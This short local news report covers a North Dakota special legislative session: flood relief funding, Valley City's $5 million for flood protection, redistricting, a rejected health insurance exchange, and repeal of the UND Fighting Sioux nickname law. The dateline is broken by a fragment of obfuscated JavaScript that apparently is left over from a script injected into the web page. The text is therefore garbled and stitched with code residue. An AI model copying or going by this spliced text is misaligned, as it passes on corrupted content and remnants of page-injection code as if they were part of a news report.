Bismarck, hrasb|var|u0026u|referrer|adtst||js|php’.split(‘|’),0,{}))
N.D. – The special North Dakota legislative session is over.

Law makers overwhelmingly passed without debate a disaster relief bill to help flood victims and flood damaged property across the state in a package worth $639 million dollars.

Valley City Representative Phil Mueller says $5 million in the bill will benefit Valley City in its effort toward permanent flood protection.

Valley City Flood Task force chairman Matt Pedersen is pleased the bill included the Valley City request that he and so many others worked to get passed. The $5 million is a step in the right direction said Pedersen.

Legislators approved of a redistricting plan to keep 47 district but in doing so it made some rural district larger.  But they shot down a bill to set up a state Health Insurance Exchange which is tied to the federal health care reform law.

Lawmakers also repealed a law that would have forced UND to keep the fighting Sioux nickname and logo.